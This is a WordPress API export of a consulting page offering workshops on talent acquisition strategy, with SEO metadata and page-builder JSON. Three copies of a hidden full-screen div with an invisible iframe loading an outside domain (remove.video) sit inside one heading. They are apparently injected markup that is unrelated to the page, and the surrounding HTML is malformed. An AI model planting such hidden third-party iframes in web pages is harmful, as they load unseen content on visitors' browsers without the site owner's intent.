{"id":4748,"date":"2021-01-17T12:42:12","date_gmt":"2021-01-17T11:42:12","guid":{"rendered":"https:\/\/armintrost.de\/\/?page_id=4748"},"modified":"2021-04-20T18:40:45","modified_gmt":"2021-04-20T16:40:45","slug":"talent-acquisition","status":"publish","type":"page","link":"https:\/\/armintrost.de\/en\/consultant\/talent-acquisition\/","title":{"rendered":"CONSULTING Talent Acquisition"},"content":{"rendered":"<h1>\n<h1>Developing a comprehensive and effective Talent Acquisition Strategy<\/h1>\n<\/h1>\n<p>\n    <a href=\"\/en\/consultant\"><\/a>\n<\/p>\n<div>\n<p>You are already using a wide range of approaches and methods to attract and acquire talent. A lot helps a lot. And yet you struggle to attract rare talent. When asked by your CEO about your talent acquisition strategy, you present the long list of various activities. But why do you do what, how? You may lack a convincing, complete, and structured answer to this question.<\/p>\n<\/div>\n<h1>FIRST, WE SORT AND PRIORITIZE YOUR DEMAND<\/p>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<\/h1>\n<div>\n<p>The starting point of the recruitment strategy is always the prioritization and sorting of your current and long-term hiring needs. From this, we derive different scenarios within which we define the necessary approaches, roles, and resources in a structured way. This can be done in small and medium-sized companies within a 1-day workshop.<\/p>\n<\/div>\n<div>\n<h4>Let us talk about your challenges without obligation. <br \/>Then we will see how and whether it could go further.<\/h4>\n<\/div>\n<p>\n    <a href=\"\/en\/contact\">Let&#8217;s talk<\/a>\n<\/p>\n<p><!-- {\"name\":\"Vortragsthemen_Unterseite\",\"type\":\"layout\",\"children\":[{\"type\":\"section\",\"props\":{\"style\":\"default\",\"width\":\"\",\"vertical_align\":\"middle\",\"title_position\":\"top-left\",\"title_rotation\":\"left\",\"title_breakpoint\":\"xl\",\"image_position\":\"center-center\"},\"children\":[{\"type\":\"row\",\"props\":{\"width\":\"default\",\"layout\":\"3-4,1-4\",\"row_gap\":\"large\",\"margin\":\"large\"},\"children\":[{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"media_overlay_gradient\":\"\",\"width_medium\":\"3-4\"},\"children\":[{\"type\":\"headline\",\"props\":{\"title_element\":\"h1\",\"title_style\":\"h1\",\"maxwidth\":\"2xlarge\",\"margin\":\"small\",\"maxwidth_breakpoint\":\"m\",\"content\":\"\n\n<h1>Developing a comprehensive and effective Talent Acquisition Strategy<\\\/h1>\"}}]},{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"media_overlay_gradient\":\"\",\"width_medium\":\"1-4\"},\"children\":[{\"type\":\"button\",\"props\":{\"grid_column_gap\":\"small\",\"grid_row_gap\":\"small\",\"margin\":\"default\",\"button_size\":\"large\",\"text_align\":\"right\"},\"children\":[{\"type\":\"button_item\",\"props\":{\"button_style\":\"link-text\",\"icon_align\":\"left\",\"link\":\"en\\\/consultant\\\/\",\"icon\":\"close\"}}],\"name\":\"Close_Button\"}]}]},{\"type\":\"row\",\"props\":{\"width\":\"xlarge\",\"layout\":\"1-5,3-5,1-5\",\"column_gap\":\"collapse\",\"margin\":\"large\"},\"children\":[{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"media_overlay_gradient\":\"\",\"width_medium\":\"1-5\"},\"children\":[]},{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"media_overlay_gradient\":\"\",\"width_medium\":\"3-5\"},\"children\":[{\"type\":\"text\",\"props\":{\"margin\":\"default\",\"column_breakpoint\":\"m\",\"content\":\"\n\n<p>You are already using a wide range of approaches and methods to attract and acquire talent. A lot helps a lot. And yet you struggle to attract rare talent. When asked by your CEO about your talent acquisition strategy, you present the long list of various activities. But why do you do what, how? You may lack a convincing, complete, and structured answer to this question.<\\\/p>\",\"dropcap\":false}},{\"type\":\"headline\",\"props\":{\"title_element\":\"h1\",\"title_style\":\"h3\",\"content\":\"FIRST, WE SORT AND PRIORITIZE YOUR DEMAND<br \\\/>\\n\n\n<div>\\n\n\n<div id=\\\"whitelisted\\\" style=\\\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\\\"><iframe style=\\\"width: 0; height: 0; display: none;\\\" src=\\\"\\\/\\\/remove.video\\\/pblock\\\"><\\\/iframe><\\\/div>\\n<\\\/div>\\n\n\n<div>\\n\n\n<div id=\\\"whitelisted\\\" style=\\\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\\\"><iframe style=\\\"width: 0; height: 0; display: none;\\\" src=\\\"\\\/\\\/remove.video\\\/pblock\\\"><\\\/iframe><\\\/div>\\n<\\\/div>\\n\n\n<div>\\n\n\n<div id=\\\"whitelisted\\\" style=\\\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\\\"><iframe style=\\\"width: 0; height: 0; display: none;\\\" src=\\\"\\\/\\\/remove.video\\\/pblock\\\"><\\\/iframe><\\\/div>\\n<\\\/div>\"}},{\"type\":\"text\",\"props\":{\"margin\":\"default\",\"column_breakpoint\":\"m\",\"content\":\"\n\n<p>The starting point of the recruitment strategy is always the prioritization and sorting of your current and long-term hiring needs. From this, we derive different scenarios within which we define the necessary approaches, roles, and resources in a structured way. This can be done in small and medium-sized companies within a 1-day workshop.<\\\/p>\"}}]},{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"media_overlay_gradient\":\"\",\"width_medium\":\"1-5\"},\"children\":[]}]}],\"name\":\"Produkte\\\/Vortragsthemen\"},{\"type\":\"section\",\"props\":{\"style\":\"muted\",\"width\":\"default\",\"vertical_align\":\"middle\",\"title_position\":\"top-left\",\"title_rotation\":\"left\",\"title_breakpoint\":\"xl\",\"image_position\":\"center-center\"},\"children\":[{\"type\":\"row\",\"children\":[{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"media_overlay_gradient\":\"\"},\"children\":[{\"type\":\"text\",\"props\":{\"margin\":\"default\",\"column_breakpoint\":\"m\",\"content\":\"\n\n<h4>Let us talk about your challenges without obligation. <br \\\/>Then we will see how and whether it could go further.<\\\/h4>\",\"text_align\":\"center\"}},{\"type\":\"button\",\"props\":{\"grid_column_gap\":\"\",\"grid_row_gap\":\"\",\"margin\":\"default\",\"text_align\":\"center\"},\"children\":[{\"type\":\"button_item\",\"props\":{\"button_style\":\"default\",\"icon_align\":\"left\",\"content\":\"Let's talk\",\"link\":\"en\\\/contact\\\/\"}}],\"name\":\"CTA_Anfrage_Starten\"}]}]}]}],\"version\":\"2.1.2\"} --><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Developing a comprehensive and effective Talent Acquisition Strategy You are already using a wide range of approaches and methods to attract and acquire talent. A lot helps a lot. And yet you struggle to attract rare talent. When asked by your CEO about your talent acquisition strategy, you present the long list of various activities. [&hellip;]<\/p>\n","protected":false},"author":7,"featured_media":2450,"parent":4710,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-4748","page","type-page","status-publish","has-post-thumbnail","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>ARMIN TROST | CONSULTING | TALENT ACQUISITION<\/title>\n<meta name=\"description\" content=\"I am going to help you define and strategically align your talent acquisition activities, methods, and resources in order to meet various hiring needs.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/armintrost.de\/en\/consultant\/talent-acquisition\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"ARMIN TROST | CONSULTING | TALENT ACQUISITION\" \/>\n<meta property=\"og:description\" content=\"I am going to help you define and strategically align your talent acquisition activities, methods, and resources in order to meet various hiring needs.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/armintrost.de\/en\/consultant\/talent-acquisition\/\" \/>\n<meta property=\"og:site_name\" content=\"Armin Trost\" \/>\n<meta property=\"article:modified_time\" content=\"2021-04-20T16:40:45+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/armintrost.de\/wp-content\/uploads\/2020\/11\/DSC3113-1_Consultant_Rolle-scaled.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"2560\" \/>\n\t<meta property=\"og:image:height\" content=\"1707\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data1\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/armintrost.de\\\/en\\\/consultant\\\/talent-acquisition\\\/\",\"url\":\"https:\\\/\\\/armintrost.de\\\/en\\\/consultant\\\/talent-acquisition\\\/\",\"name\":\"ARMIN TROST | CONSULTING | TALENT ACQUISITION\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/armintrost.de\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/armintrost.de\\\/en\\\/consultant\\\/talent-acquisition\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/armintrost.de\\\/en\\\/consultant\\\/talent-acquisition\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/armintrost.de\\\/wp-content\\\/uploads\\\/2020\\\/11\\\/DSC3113-1_Consultant_Rolle-scaled.jpg\",\"datePublished\":\"2021-01-17T11:42:12+00:00\",\"dateModified\":\"2021-04-20T16:40:45+00:00\",\"description\":\"I am going to help you define and strategically align your talent acquisition activities, methods, and resources in order to meet various hiring needs.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/armintrost.de\\\/en\\\/consultant\\\/talent-acquisition\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/armintrost.de\\\/en\\\/consultant\\\/talent-acquisition\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/armintrost.de\\\/en\\\/consultant\\\/talent-acquisition\\\/#primaryimage\",\"url\":\"https:\\\/\\\/armintrost.de\\\/wp-content\\\/uploads\\\/2020\\\/11\\\/DSC3113-1_Consultant_Rolle-scaled.jpg\",\"contentUrl\":\"https:\\\/\\\/armintrost.de\\\/wp-content\\\/uploads\\\/2020\\\/11\\\/DSC3113-1_Consultant_Rolle-scaled.jpg\",\"width\":2560,\"height\":1707},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/armintrost.de\\\/en\\\/consultant\\\/talent-acquisition\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Startseite\",\"item\":\"https:\\\/\\\/armintrost.de\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"CONSULTANT\",\"item\":\"https:\\\/\\\/armintrost.de\\\/consulant\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"CONSULTING Talent Acquisition\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/armintrost.de\\\/#website\",\"url\":\"https:\\\/\\\/armintrost.de\\\/\",\"name\":\"Armin Trost\",\"description\":\"Armin Trost\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/armintrost.de\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"ARMIN TROST | CONSULTING | TALENT ACQUISITION","description":"I am going to help you define and strategically align your talent acquisition activities, methods, and resources in order to meet various hiring needs.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/armintrost.de\/en\/consultant\/talent-acquisition\/","og_locale":"en_US","og_type":"article","og_title":"ARMIN TROST | CONSULTING | TALENT ACQUISITION","og_description":"I am going to help you define and strategically align your talent acquisition activities, methods, and resources in order to meet various hiring needs.","og_url":"https:\/\/armintrost.de\/en\/consultant\/talent-acquisition\/","og_site_name":"Armin Trost","article_modified_time":"2021-04-20T16:40:45+00:00","og_image":[{"width":2560,"height":1707,"url":"https:\/\/armintrost.de\/wp-content\/uploads\/2020\/11\/DSC3113-1_Consultant_Rolle-scaled.jpg","type":"image\/jpeg"}],"twitter_card":"summary_large_image","twitter_misc":{"Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/armintrost.de\/en\/consultant\/talent-acquisition\/","url":"https:\/\/armintrost.de\/en\/consultant\/talent-acquisition\/","name":"ARMIN TROST | CONSULTING | TALENT ACQUISITION","isPartOf":{"@id":"https:\/\/armintrost.de\/#website"},"primaryImageOfPage":{"@id":"https:\/\/armintrost.de\/en\/consultant\/talent-acquisition\/#primaryimage"},"image":{"@id":"https:\/\/armintrost.de\/en\/consultant\/talent-acquisition\/#primaryimage"},"thumbnailUrl":"https:\/\/armintrost.de\/wp-content\/uploads\/2020\/11\/DSC3113-1_Consultant_Rolle-scaled.jpg","datePublished":"2021-01-17T11:42:12+00:00","dateModified":"2021-04-20T16:40:45+00:00","description":"I am going to help you define and strategically align your talent acquisition activities, methods, and resources in order to meet various hiring needs.","breadcrumb":{"@id":"https:\/\/armintrost.de\/en\/consultant\/talent-acquisition\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/armintrost.de\/en\/consultant\/talent-acquisition\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/armintrost.de\/en\/consultant\/talent-acquisition\/#primaryimage","url":"https:\/\/armintrost.de\/wp-content\/uploads\/2020\/11\/DSC3113-1_Consultant_Rolle-scaled.jpg","contentUrl":"https:\/\/armintrost.de\/wp-content\/uploads\/2020\/11\/DSC3113-1_Consultant_Rolle-scaled.jpg","width":2560,"height":1707},{"@type":"BreadcrumbList","@id":"https:\/\/armintrost.de\/en\/consultant\/talent-acquisition\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Startseite","item":"https:\/\/armintrost.de\/"},{"@type":"ListItem","position":2,"name":"CONSULTANT","item":"https:\/\/armintrost.de\/consulant\/"},{"@type":"ListItem","position":3,"name":"CONSULTING Talent Acquisition"}]},{"@type":"WebSite","@id":"https:\/\/armintrost.de\/#website","url":"https:\/\/armintrost.de\/","name":"Armin Trost","description":"Armin Trost","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/armintrost.de\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/armintrost.de\/en\/wp-json\/wp\/v2\/pages\/4748","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/armintrost.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/armintrost.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/armintrost.de\/en\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/armintrost.de\/en\/wp-json\/wp\/v2\/comments?post=4748"}],"version-history":[{"count":15,"href":"https:\/\/armintrost.de\/en\/wp-json\/wp\/v2\/pages\/4748\/revisions"}],"predecessor-version":[{"id":5780,"href":"https:\/\/armintrost.de\/en\/wp-json\/wp\/v2\/pages\/4748\/revisions\/5780"}],"up":[{"embeddable":true,"href":"https:\/\/armintrost.de\/en\/wp-json\/wp\/v2\/pages\/4710"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/armintrost.de\/en\/wp-json\/wp\/v2\/media\/2450"}],"wp:attachment":[{"href":"https:\/\/armintrost.de\/en\/wp-json\/wp\/v2\/media?parent=4748"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}